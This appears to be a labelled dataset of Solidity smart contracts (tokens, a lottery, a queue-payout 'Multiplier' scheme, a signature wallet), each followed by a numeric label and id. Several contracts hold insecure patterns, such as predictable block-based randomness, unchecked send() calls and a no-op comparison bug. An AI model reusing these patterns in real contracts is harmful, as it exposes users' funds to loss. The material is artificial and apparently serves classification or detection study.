function checkPoolBalance () view public returns (uint poolCap, uint balance, uint remaining) {
if (contractStage == 1) {
remaining = contributionCaps[0].sub(this.balance);
} else {
remaining = 0;
}
return (contributionCaps[0],this.balance,remaining);
}
function checkContributorBalance (address addr) view public returns (uint balance, uint cap, uint remaining) {
var c = whitelist[addr];
if (!c.authorized) {
cap = whitelistContract.checkMemberLevel(addr);
if (cap == 0) return (0,0,0);
} else {
cap = c.cap;
}
balance = c.balance;
if (contractStage == 1) {
if (cap<contributionCaps.length) {
if (nextCapTime == 0 || nextCapTime > block.timestamp) {
cap = contributionCaps[cap];
} else {
cap = nextContributionCaps[cap];
}
}
remaining = cap.sub(balance);
if (contributionCaps[0].sub(this.balance) < remaining) remaining = contributionCaps[0].sub(this.balance);
} else {
remaining = 0;
}
return (balance, cap, remaining);
}
function checkAvailableTokens (address addr, address tokenAddr) view public returns (uint tokenAmount) {
var c = whitelist[addr];
var d = distributionMap[tokenAddr];
for (uint i = c.tokensClaimed[tokenAddr]; i < d.pct.length; i++) {
tokenAmount = tokenAmount.add(_applyPct(c.balance, d.pct[i]));
}
return tokenAmount;
}
function closeContributions () public onlyOwner {
require (contractStage == 1);
contractStage = 2;
}
function reopenContributions () public onlyOwner {
require (contractStage == 2);
contractStage = 1;
}
function setReceiverAddress (address addr) public onlyOwner {
require (addr != 0x00 && receiverAddress == 0x00);
require (contractStage < 3);
receiverAddress = addr;
addressChangeBlock = block.number;
ReceiverAddressSet(addr);
}
function submitPool (uint amountInWei) public onlyOwner noReentrancy {
require (contractStage < 3);
require (receiverAddress != 0x00);
require (block.number >= addressChangeBlock.add(6000));
require (contributionMin <= amountInWei && amountInWei <= this.balance);
finalBalance = this.balance;
require (receiverAddress.call.value(amountInWei).gas(msg.gas.sub(5000))());
if (this.balance > 0) ethRefundAmount.push(this.balance);
contractStage = 3;
PoolSubmitted(receiverAddress, amountInWei);
}
function enableTokenWithdrawals (address tokenAddr, bool notDefault) public onlyOwner noReentrancy {
require (contractStage == 3);
if (notDefault) {
require (activeToken != 0x00);
} else {
activeToken = tokenAddr;
}
var d = distributionMap[tokenAddr];
if (d.pct.length==0) d.token = ERC20(tokenAddr);
uint amount = d.token.balanceOf(this).sub(d.balanceRemaining);
require (amount > 0);
if (feePct > 0) {
require (d.token.transfer(owner,_applyPct(amount,feePct)));
}
amount = d.token.balanceOf(this).sub(d.balanceRemaining);
d.balanceRemaining = d.token.balanceOf(this);
d.pct.push(_toPct(amount,finalBalance));
}
function tokenFallback (address from, uint value, bytes data) public {
ERC223Received (from, value);
}
} | 0 | 767 |
pragma solidity ^0.5.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256) {
uint256 c = add(a,m);
uint256 d = sub(c,1);
return mul(div(d,m),m);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract BOMBv3 is ERC20Detailed {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
string constant tokenName = "THE BOMB";
string constant tokenSymbol = "BOMB";
uint8 constant tokenDecimals = 0;
uint256 _totalSupply = 1000000;
uint256 public basePercent = 100;
constructor() public payable ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) {
_mint(msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function findOnePercent(uint256 value) public view returns (uint256) {
uint256 roundValue = value.ceil(basePercent);
uint256 onePercent = roundValue.mul(basePercent).div(10000);
return onePercent;
}
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _balances[msg.sender]);
require(to != address(0));
uint256 tokensToBurn = findOnePercent(value);
uint256 tokensToTransfer = value.sub(tokensToBurn);
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(tokensToTransfer);
_totalSupply = _totalSupply.sub(tokensToBurn);
emit Transfer(msg.sender, to, tokensToTransfer);
emit Transfer(msg.sender, address(0), tokensToBurn);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
uint256 tokensToBurn = findOnePercent(value);
uint256 tokensToTransfer = value.sub(tokensToBurn);
_balances[to] = _balances[to].add(tokensToTransfer);
_totalSupply = _totalSupply.sub(tokensToBurn);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, tokensToTransfer);
emit Transfer(from, address(0), tokensToBurn);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _mint(address account, uint256 amount) internal {
require(amount != 0);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(amount != 0);
require(amount <= _balances[account]);
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
function _burnFrom(address account, uint256 amount) internal {
require(amount <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(amount);
_burn(account, amount);
}
} | 1 | 4,290 |
pragma solidity ^0.4.18;
contract LuckyNumber {
address owner;
bool contractIsAlive = true;
uint8 winningNumber;
uint commitTime = 60;
uint nonce = 1;
mapping (address => uint8) addressToGuess;
mapping (address => uint) addressToTimeStamp;
modifier live()
{
require(contractIsAlive);
_;
}
function LuckyNumber() public {
owner = msg.sender;
}
function addBalance() public payable live {
}
function getBalance() view external returns (uint) {
return this.balance;
}
function getStatus() view external returns (bool) {
return contractIsAlive;
}
function kill()
external
live
{
if (msg.sender == owner) {
owner.transfer(this.balance);
contractIsAlive = false;
}
}
function takeAGuess(uint8 _myGuess)
public
payable
live
{
require(msg.value == 0.00025 ether);
addressToGuess[msg.sender] = _myGuess;
addressToTimeStamp[msg.sender] = now+commitTime;
}
function checkGuess()
public
live
{
require(now>addressToTimeStamp[msg.sender]);
winningNumber = uint8(keccak256(now, owner, block.coinbase, block.difficulty, nonce)) % 10;
nonce = uint(keccak256(now)) % 10000;
uint8 userGuess = addressToGuess[msg.sender];
if (userGuess == winningNumber) {
msg.sender.transfer((this.balance*8)/10);
owner.transfer(this.balance);
}
addressToGuess[msg.sender] = 16;
addressToTimeStamp[msg.sender] = 1;
}
} | 0 | 1,726 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Multiplier is Ownable {
using SafeMath for uint;
address constant private support = 0x8Fa6E56c844be9B96C30B72cC2a8ccF6465a99F9;
uint constant public supportPercent = 3;
uint public reserved;
uint public delayed;
uint minCycle = 5 minutes;
uint initCycle = 2 hours;
uint maxCycle = 1 days;
uint public cycleStart;
uint public actualCycle;
uint public lastCycle;
uint public cycles;
uint minPercent = 1;
uint maxPercent = 33;
uint frontier = 50;
mapping (address => address) referrer;
mapping (address => bool) verified;
uint refBonus = 5;
uint verificationPrice = 0.0303 ether;
event NewCycle(uint start, uint duration, uint indexed cycle);
event NewDeposit(address indexed addr, uint idx, uint amount, uint profit, uint indexed cycle);
event Payed(address indexed addr, uint amount, uint indexed cycle);
event Refunded(address indexed addr, uint amount, uint indexed cycle);
event RefundCompleted(uint indexed cycle);
event RefVerified(address indexed addr);
event RefBonusPayed(address indexed investor, address referrer, uint amount, uint level);
event VerPriceChanged(uint oldPrice, uint newPrice);
constructor() public {
verified[owner()] = true;
actualCycle = initCycle * 2;
queue.length += 1;
}
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
Deposit[] public queue;
uint public currentReceiverIndex = 0;
uint public currentRefundIndex = 0;
function bytesToAddress(bytes _source) internal pure returns(address parsedreferrer) {
assembly {
parsedreferrer := mload(add(_source,0x14))
}
return parsedreferrer;
}
function setRef() internal returns(bool) {
address _referrer = bytesToAddress(bytes(msg.data));
if (_referrer != msg.sender && msg.data.length == 20 && verified[_referrer]) {
referrer[msg.sender] = _referrer;
return true;
}
}
function setVerificationPrice(uint newPrice) external onlyOwner {
emit VerPriceChanged(verificationPrice, newPrice);
verificationPrice = newPrice;
}
function verify(address addr) public payable {
if (msg.sender != owner()) {
require(msg.value == verificationPrice);
support.send(verificationPrice);
}
verified[addr] = true;
emit RefVerified(addr);
}
function () public payable {
require(!isContract(msg.sender));
if(msg.value == verificationPrice) {
verify(msg.sender);
return;
}
if (msg.value == 0 && msg.sender == owner()) {
address a = bytesToAddress(bytes(msg.data));
verify(a);
return;
}
if (referrer[msg.sender] == address(0)) {
require(setRef());
}
if(msg.value > 0){
require(gasleft() >= 300000, "We require more gas!");
require(msg.value <= 10 ether);
if (block.timestamp >= cycleStart + actualCycle) {
if (queue.length.sub(lastCycle) >= frontier) {
actualCycle = actualCycle * 2;
if (actualCycle > maxCycle) {
actualCycle = maxCycle;
}
} else {
actualCycle = actualCycle / 2;
if (actualCycle < minCycle) {
actualCycle = minCycle;
}
}
uint amountOfPlayers = queue.length - lastCycle;
lastCycle = queue.length;
cycleStart = block.timestamp;
currentReceiverIndex = lastCycle;
cycles++;
if (amountOfPlayers != 1) {
currentRefundIndex = lastCycle.sub(1);
refunding();
} else {
singleRefunding();
}
emit NewCycle(cycleStart, actualCycle, cycles);
}
if (currentRefundIndex != 0) {
refunding();
}
uint percent = queue.length.sub(lastCycle).add(1);
if (percent >= 33) {
percent = 33;
}
queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value * (100 + percent) / 100)));
uint _support = msg.value * supportPercent / 100;
support.send(_support);
uint _refBonus = msg.value * refBonus / 1000;
referrer[msg.sender].send(_refBonus);
emit RefBonusPayed(msg.sender, referrer[msg.sender], _refBonus, 1);
if (referrer[referrer[msg.sender]] != address(0)) {
referrer[referrer[msg.sender]].send(_refBonus);
emit RefBonusPayed(msg.sender, referrer[referrer[msg.sender]], _refBonus, 2);
}
emit NewDeposit(msg.sender, queue.length - 1, msg.value, msg.value * (100 + percent) / 100, cycles);
if (currentRefundIndex == 0) {
reserved += msg.value * 96 / 100 / 2;
if (delayed != 0) {
reserved != delayed;
delayed = 0;
}
pay();
} else {
delayed += msg.value * 96 / 100 / 2;
}
}
}
function pay() private {
uint128 money = uint128(address(this).balance - reserved);
for(uint i=0; i<queue.length; i++){
uint idx = currentReceiverIndex + i;
Deposit storage dep = queue[idx];
if(money >= dep.expect){
dep.depositor.send(dep.expect);
money -= dep.expect;
emit Payed(dep.depositor, dep.expect, cycles);
delete queue[idx];
}else{
dep.depositor.send(money);
dep.expect -= money;
emit Payed(dep.depositor, money, cycles);
break;
}
if(gasleft() <= 50000)
break;
}
currentReceiverIndex += i;
}
function refunding() private {
uint128 refund = uint128(reserved);
if (refund >= 1 ether) {
refund -= 1 ether;
}
for(uint i=0; i<=currentRefundIndex; i++){
uint idx = currentRefundIndex.sub(i);
Deposit storage dep = queue[idx];
if (lastCycle.sub(idx) <= 33) {
uint percent = lastCycle - idx;
} else {
percent = 33;
}
uint128 amount = uint128(dep.deposit + (dep.deposit * percent / 100));
if(refund > amount){
dep.depositor.send(amount);
refund -= amount;
reserved -= amount;
emit Refunded(dep.depositor, amount, cycles - 1);
delete queue[idx];
}else{
dep.depositor.send(refund);
reserved -= refund;
currentRefundIndex = 0;
emit Refunded(dep.depositor, refund, cycles - 1);
emit RefundCompleted(cycles - 1);
break;
}
if(gasleft() <= 100000)
break;
}
if (currentRefundIndex != 0) {
currentRefundIndex -= i;
}
}
function singleRefunding() private {
Deposit storage dep = queue[queue.length - 1];
uint amount = dep.deposit * 2 / 100 + dep.expect;
if (reserved < amount) {
amount = reserved;
}
dep.depositor.send(amount);
reserved -= amount;
emit Refunded(dep.depositor, amount, cycles - 1);
delete queue[queue.length - 1];
emit RefundCompleted(cycles - 1);
}
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) {
uint c = getDepositsCount(depositor);
idxs = new uint[](c);
deposits = new uint128[](c);
expects = new uint128[](c);
if(c > 0) {
uint j = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
Deposit storage dep = queue[i];
if(dep.depositor == depositor){
idxs[j] = i;
deposits[j] = dep.deposit;
expects[j] = dep.expect;
j++;
}
}
}
}
function getQueueLength() public view returns (uint) {
return queue.length - currentReceiverIndex;
}
function isContract(address addr) private view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function contractBalance() external view returns(uint) {
return address(this).balance;
}
} | 0 | 1,651 |
pragma solidity ^0.4.18;
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
library ECRecovery {
function recover(bytes32 hash, bytes sig) public pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65) {
return (address(0));
}
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract WrapperInterface
{
function() public payable;
function deposit() public payable ;
function withdraw(uint wad) public;
function totalSupply() public view returns (uint);
function approve(address guy, uint wad) public returns (bool success);
function transfer(address dst, uint wad) public returns (bool success);
function transferFrom(address src, address dst, uint wad) public returns (bool);
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
event Deposit(address indexed dst, uint wad);
event Withdrawal(address indexed src, uint wad);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract LavaWallet is Owned {
using SafeMath for uint;
mapping(address => mapping (address => uint256)) balances;
mapping(address => mapping (address => mapping (address => uint256))) allowed;
mapping(bytes32 => uint256) burnedSignatures;
event Deposit(address token, address user, uint amount, uint balance);
event Withdraw(address token, address user, uint amount, uint balance);
event Transfer(address indexed from, address indexed to,address token, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender,address token, uint tokens);
function LavaWallet() public {
}
function() public payable {
revert();
}
function depositTokens(address from, address token, uint256 tokens ) public returns (bool success)
{
ERC20Interface(token).transferFrom(from, this, tokens);
balances[token][from] = balances[token][from].add(tokens);
Deposit(token, from, tokens, balances[token][from]);
return true;
}
function withdrawTokens(address token, uint256 tokens) public {
balances[token][msg.sender] = balances[token][msg.sender].sub(tokens);
ERC20Interface(token).transfer(msg.sender, tokens);
Withdraw(token, msg.sender, tokens, balances[token][msg.sender]);
}
function withdrawTokensFrom( address from, address to,address token, uint tokens) public returns (bool success) {
balances[token][from] = balances[token][from].sub(tokens);
allowed[token][from][to] = allowed[token][from][to].sub(tokens);
ERC20Interface(token).transfer(to, tokens);
Withdraw(token, from, tokens, balances[token][from]);
return true;
}
function balanceOf(address token,address user) public constant returns (uint) {
return balances[token][user];
}
function approveTokens(address spender, address token, uint tokens) public returns (bool success) {
allowed[token][msg.sender][spender] = tokens;
Approval(msg.sender, token, spender, tokens);
return true;
}
function transferTokens(address to, address token, uint tokens) public returns (bool success) {
balances[token][msg.sender] = balances[token][msg.sender].sub(tokens);
balances[token][to] = balances[token][to].add(tokens);
Transfer(msg.sender, token, to, tokens);
return true;
}
function transferTokensFrom( address from, address to,address token, uint tokens) public returns (bool success) {
balances[token][from] = balances[token][from].sub(tokens);
allowed[token][from][to] = allowed[token][from][to].sub(tokens);
balances[token][to] = balances[token][to].add(tokens);
Transfer(token, from, to, tokens);
return true;
}
function getLavaTypedDataHash( address from, address to, address token, uint256 tokens, uint256 relayerReward,
uint256 expires, uint256 nonce) public constant returns (bytes32)
{
bytes32 hardcodedSchemaHash = 0x313236b6cd8d12125421e44528d8f5ba070a781aeac3e5ae45e314b818734ec3 ;
bytes32 typedDataHash = sha3(
hardcodedSchemaHash,
sha3(from,to,this,token,tokens,relayerReward,expires,nonce)
);
return typedDataHash;
}
function approveTokensWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward,
uint256 expires, uint256 nonce, bytes signature) public returns (bool success)
{
bytes32 sigHash = getLavaTypedDataHash(from,to,token,tokens,relayerReward,expires,nonce);
address recoveredSignatureSigner = ECRecovery.recover(sigHash,signature);
if(from != recoveredSignatureSigner) revert();
if(block.number > expires) revert();
uint burnedSignature = burnedSignatures[sigHash];
burnedSignatures[sigHash] = 0x1;
if(burnedSignature != 0x0 ) revert();
allowed[token][from][msg.sender] = relayerReward;
Approval(from, token, msg.sender, relayerReward);
if(!transferTokensFrom(from, msg.sender, token, relayerReward)) revert();
allowed[token][from][to] = tokens;
Approval(from, token, to, tokens);
return true;
}
function withdrawTokensFromWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward,
uint256 expires, uint256 nonce, bytes signature) public returns (bool success)
{
if(!approveTokensWithSignature(from,to,token,tokens,relayerReward,expires,nonce,signature)) revert();
if(!withdrawTokensFrom( from, to, token, tokens)) revert();
return true;
}
function transferTokensFromWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward,
uint256 expires, uint256 nonce, bytes signature) public returns (bool success)
{
if(!approveTokensWithSignature(from,to,token,tokens,relayerReward,expires,nonce,signature)) revert();
if(!transferTokensFrom( from, to, token, tokens)) revert();
return true;
}
function tokenAllowance(address token, address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[token][tokenOwner][spender];
}
function burnSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward, uint256 expires, uint256 nonce, bytes signature) public returns (bool success)
{
bytes32 sigHash = getLavaTypedDataHash(from,to,token,tokens,relayerReward,expires,nonce);
address recoveredSignatureSigner = ECRecovery.recover(sigHash,signature);
if(recoveredSignatureSigner != from) revert();
uint burnedSignature = burnedSignatures[sigHash];
burnedSignatures[sigHash] = 0x2;
if(burnedSignature != 0x0 ) revert();
return true;
}
function signatureBurnStatus(bytes32 digest) public view returns (uint)
{
return (burnedSignatures[digest]);
}
function receiveApproval(address from, uint256 tokens, address token, bytes data) public returns (bool success) {
return depositTokens(from, token, tokens );
}
function approveAndCall(address from, address to, address token, uint256 tokens, uint256 relayerReward,
uint256 expires, uint256 nonce, bytes signature, bytes data) public returns (bool success) {
if(!approveTokensWithSignature(from,to,token,tokens,relayerReward,expires,nonce,signature)) revert();
ApproveAndCallFallBack(to).receiveApproval(from, tokens, token, data);
return true;
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 2,910 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract Petro is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function Petro() public {
symbol = "PTR";
name = "Petro";
decimals = 18;
_totalSupply = 100000000000000000000000000;
balances[0xcC732F41A205Fe616E9Ed64674eF50B25F7d6859] = _totalSupply;
Transfer(address(0), 0xcC732F41A205Fe616E9Ed64674eF50B25F7d6859, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 3,135 |
pragma solidity ^0.4.18;
library _SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract WhiteListAccess {
function WhiteListAccess() public {
owner = msg.sender;
whitelist[owner] = true;
whitelist[address(this)] = true;
}
address public owner;
mapping (address => bool) whitelist;
modifier onlyOwner {require(msg.sender == owner); _;}
modifier onlyWhitelisted {require(whitelist[msg.sender]); _;}
function addToWhiteList(address trusted) public onlyOwner() {
whitelist[trusted] = true;
}
function removeFromWhiteList(address untrusted) public onlyOwner() {
whitelist[untrusted] = false;
}
}
contract _ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract _Token is WhiteListAccess, _ERC20Interface {
using _SafeMath for uint;
uint8 public decimals;
uint public totSupply;
string public symbol;
string public name;
mapping(address => uint) public balances;
mapping(address => mapping(address => uint)) public allowed;
function _Token(string _name, string _sym) public {
symbol = _sym;
name = _name;
decimals = 0;
totSupply = 0;
}
function totalSupply() public constant returns (uint) {
return totSupply;
}
function balanceOf(address _tokenOwner) public constant returns (uint balance) {
return balances[_tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
require(!freezed);
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function desapprove(address spender) public returns (bool success) {
allowed[msg.sender][spender] = 0;
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
require(!freezed);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function () public payable {
revert();
}
bool freezed;
function create(uint units) public onlyWhitelisted() {
totSupply = totSupply + units;
balances[msg.sender] = balances[msg.sender] + units;
}
function freeze() public onlyWhitelisted() {
freezed = true;
}
function unfreeze() public onlyWhitelisted() {
freezed = false;
}
function _withdrawal(address _token) public {
uint _balance = _ERC20Interface(_token).balanceOf(address(this));
if (_balance > 0) {
_ERC20Interface(_token).transfer(owner, _balance);
}
owner.transfer(this.balance);
}
}
contract FourLeafClover is _Token("Four Leaf Clover", "FLC") {
function FourLeafClover() public {}
} | 1 | 2,512 |
pragma solidity ^0.4.23;
contract Contract {
struct Contributor {
uint256 balance;
uint256 balance_bonus;
uint256 fee;
bool whitelisted;
}
mapping (address => Contributor) public contributors;
uint256 public contract_eth_value;
uint256 public contract_eth_value_fee;
}
contract ERC20 {
function transfer(address _to, uint256 _value) public returns (bool success);
function balanceOf(address _owner) public constant returns (uint256 balance);
}
contract HybridProxy {
struct Contributor {
uint256 balance;
uint256 balance_bonus;
uint256 fee;
bool whitelisted;
}
struct Snapshot {
uint256 tokens_balance;
uint256 eth_balance;
}
address constant public DEVELOPER1 = 0xEE06BdDafFA56a303718DE53A5bc347EfbE4C68f;
address constant public DEVELOPER2 = 0x63F7547Ac277ea0B52A0B060Be6af8C5904953aa;
uint256 constant public FEE_DEV = 500;
Contract contr;
uint256 public eth_balance;
uint256 public fee_balance;
ERC20 public token;
